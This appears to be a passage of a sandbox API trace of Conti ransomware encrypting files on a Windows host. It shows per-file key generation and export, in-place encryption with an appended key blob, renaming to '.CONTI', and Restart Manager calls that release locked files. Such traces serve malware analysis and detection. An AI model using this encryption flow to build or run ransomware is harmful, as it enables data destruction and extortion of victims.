	[0113.488] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c2bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65c2bf4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.985] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.985] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x353, lpOverlapped=0x0) returned 1
	[0114.985] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x353, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x360) returned 1
	[0114.985] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.985] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x360, lpOverlapped=0x0) returned 1
	[0114.985] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.985] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c2be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65c2be8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0114.985] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.985] CloseHandle (hObject=0x3f0) returned 1
	[0114.985] GetProcessHeap () returned 0x1720000
	[0114.985] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.986] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0114.986] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.986] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.987] GetProcessHeap () returned 0x1720000
	[0114.987] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.987] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0114.987] GetProcessHeap () returned 0x1720000
	[0114.987] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba0e0 | out: hHeap=0x1720000) returned 1
	[0114.987] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0114.987] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65dd038 | out: phKey=0x65dd038*=0x6b7f2b8) returned 1
	[0114.987] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd03c, pdwDataLen=0x3bbfde4 | out: pbData=0x65dd03c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0114.988] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20
	[0115.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.806] GetLastError () returned 0x5
	[0115.806] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0115.806] GetProcessHeap () returned 0x1720000
	[0115.806] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9970 | out: hHeap=0x1720000) returned 1
	[0115.806] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0115.806] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7f4b8) returned 1
	[0115.806] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x3bbfde4 | out: pbData=0x6b51044*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0115.807] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83")) returned 0x820
	[0115.810] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.810] GetLastError () returned 0x0
	[0115.810] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1933112) returned 1
	[0115.810] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d7f38
	[0115.810] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.810] SetEndOfFile (hFile=0x408) returned 1
	[0115.811] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.811] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.811] WriteFile (in: hFile=0x408, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.813] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.813] ReadFile (in: hFile=0x408, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1d7f38, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1d7f38, lpOverlapped=0x0) returned 1
	[0119.802] CryptEncrypt (in: hKey=0x6b7f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1d7f38, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1d7f40) returned 1
	[0119.805] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.805] WriteFile (in: hFile=0x408, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x1d7f40, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x1d7f40, lpOverlapped=0x0) returned 1
	[0119.812] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.812] WriteFile (in: hFile=0x408, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0119.812] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.812] CloseHandle (hObject=0x408) returned 1
	[0119.813] GetProcessHeap () returned 0x1720000
	[0119.813] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.516] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83"
	[0120.516] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.CONTI"
	[0120.516] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.83.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.83.conti")) returned 1
	[0120.517] GetProcessHeap () returned 0x1720000
	[0120.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.517] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0120.517] GetProcessHeap () returned 0x1720000
	[0120.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173c950 | out: hHeap=0x1720000) returned 1
	[0120.517] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0122.430] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7eab8) returned 1
	[0122.430] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x3bbfde4 | out: pbData=0x6b4f29c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0123.650] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl")) returned 0x2020
	[0123.652] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0123.652] GetLastError () returned 0x0
	[0123.652] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=8192) returned 1
	[0123.652] SetFilePointer (in: hFile=0x318, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.652] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.652] SetEndOfFile (hFile=0x318) returned 1
	[0123.652] SetFilePointer (in: hFile=0x318, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.652] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.652] WriteFile (in: hFile=0x318, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0125.110] SetFilePointer (in: hFile=0x318, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.110] ReadFile (in: hFile=0x318, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2000, lpOverlapped=0x0) returned 1
	[0125.111] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2000, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2010) returned 1
	[0125.111] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.111] WriteFile (in: hFile=0x318, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2010, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.228] WriteFile (in: hFile=0x318, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointer (in: hFile=0x318, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.228] CloseHandle (hObject=0x318) returned 1
	[0129.563] GetProcessHeap () returned 0x1720000
	[0129.563] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b91ef0
	[0129.563] lstrcpyW (in: lpString1=0x6b91ef0, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl"
	[0129.563] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.CONTI"
	[0129.563] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl.conti")) returned 1
	[0129.579] GetProcessHeap () returned 0x1720000
	[0129.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b91ef0 | out: hHeap=0x1720000) returned 1
	[0129.579] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0129.579] GetProcessHeap () returned 0x1720000
	[0129.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aac0 | out: hHeap=0x1720000) returned 1
	[0129.579] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0130.190] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b46528 | out: phKey=0x6b46528*=0x17c7ff0) returned 1
	[0130.191] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4652c, pdwDataLen=0x3bbfde4 | out: pbData=0x6b4652c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0130.191] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json")) returned 0x120
	[0130.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.192] GetLastError () returned 0x5
	[0130.192] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0130.192] GetProcessHeap () returned 0x1720000
	[0130.192] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65757f0 | out: hHeap=0x1720000) returned 1
	[0130.192] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0132.031] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b442f0 | out: phKey=0x6b442f0*=0x17c7fb0) returned 1
	[0132.031] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b442f4, pdwDataLen=0x3bbfde4 | out: pbData=0x6b442f4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0132.032] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db")) returned 0x220
	[0132.033] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0132.033] GetLastError () returned 0x20
	[0132.033] RmStartSession () returned 0x0
	[0132.037] RmRegisterResources () returned 0x0
	[0132.058] RmGetList () returned 0xea
	[0136.007] RmShutdown () returned 0x15e
	[0145.081] RmEndSession () returned 0x0
	[0145.084] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0145.084] GetProcessHeap () returned 0x1720000
	[0145.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0145.084] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0145.084] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6b489a8 | out: phKey=0x6b489a8*=0x17deed0) returned 1
	[0145.084] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b489ac, pdwDataLen=0x3bbfde4 | out: pbData=0x6b489ac*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0145.085] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l4lpi4_ocq9ojzzunfy.png")) returned 0x20
	[0145.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l4lpi4_ocq9ojzzunfy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0145.086] GetLastError () returned 0x0
	[0145.086] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=68158) returned 1
	[0145.086] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10a3e
	[0145.086] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.086] SetEndOfFile (hFile=0x388) returned 1
	[0145.086] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.086] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.086] WriteFile (in: hFile=0x388, lpBuffer=0x6b489ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6b489ac*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.010] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.010] ReadFile (in: hFile=0x388, lpBuffer=0x9880000, nNumberOfBytesToRead=0x10a3e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x10a3e, lpOverlapped=0x0) returned 1
	[0146.012] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x10a3e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x10a40) returned 1
	[0146.012] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.012] WriteFile (in: hFile=0x388, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x10a40, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x10a40, lpOverlapped=0x0) returned 1
	[0146.012] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.012] WriteFile (in: hFile=0x388, lpBuffer=0x6b489a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b489a0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.012] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.012] CloseHandle (hObject=0x388) returned 1
	[0146.012] GetProcessHeap () returned 0x1720000
